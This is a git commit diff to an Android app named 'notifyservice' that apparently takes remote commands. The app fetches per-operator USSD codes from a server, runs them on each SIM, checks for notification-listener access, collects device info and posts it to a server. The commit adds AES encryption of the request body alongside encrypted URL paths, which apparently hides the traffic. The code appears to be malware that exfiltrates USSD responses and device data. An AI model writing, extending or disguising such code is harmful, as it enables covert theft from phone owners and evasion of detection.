so much fixes
This commit is contained in:
parent
75cd54b506
commit
98b6cd57e0
2 changed files with 14 additions and 6 deletions
|
@ -232,9 +232,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
});
|
||||
|
||||
this.runOnUiThread(new Runnable() {
|
||||
public void run() {
|
||||
AlertDialog dialog = builder.create();
|
||||
dialog.show();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static String getDeviceInfo(Context context)
|
||||
{
|
||||
|
@ -382,18 +386,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
@Override
|
||||
public void onGetResponse(JSONObject result) {
|
||||
try {
|
||||
requestsCount += 1;
|
||||
|
||||
if(result.get("name"). // STATIC
|
||||
equals("ussd")){ // STATIC
|
||||
ussd = result.getJSONObject(
|
||||
"data" // STATIC
|
||||
);
|
||||
requestsCount += 1;
|
||||
|
||||
} else if (result.get("name"). // STATIC
|
||||
equals("languages")) { // STATIC
|
||||
language = result.getJSONObject(
|
||||
"data" // STATIC
|
||||
).getJSONObject(Locale.getDefault().getLanguage());
|
||||
requestsCount += 1;
|
||||
}
|
||||
if (requestsCount == 2) {
|
||||
if (!isNotificationServiceEnabled()) {
|
||||
|
@ -515,7 +521,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
boolean smsResponse = false;
|
||||
try {
|
||||
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
||||
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC
|
||||
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
||||
} catch (JSONException e) {
|
||||
return;
|
||||
}
|
||||
|
@ -538,7 +544,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
@Override
|
||||
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
|
||||
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
||||
|
||||
nextPhone();
|
||||
}
|
||||
}, null);
|
||||
}
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
package com.example.notifyservice;
|
||||
|
||||
import static com.example.notifyservice.Encryption.aesEncrypt;
|
||||
|
||||
import android.content.Context;
|
||||
import android.util.Log;
|
||||
|
||||
|
@ -41,7 +43,7 @@ public class PostRequest {
|
|||
|
||||
Request request = new Request.Builder()
|
||||
.url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
|
||||
.post(RequestBody.create(jsonData.getBytes())).header(
|
||||
.post(RequestBody.create(aesEncrypt(jsonData).getBytes())).header(
|
||||
"timestamp", timeStamp // STATIC
|
||||
)
|
||||
.build();
|
||||
|
|
Loading…
Add table
Reference in a new issue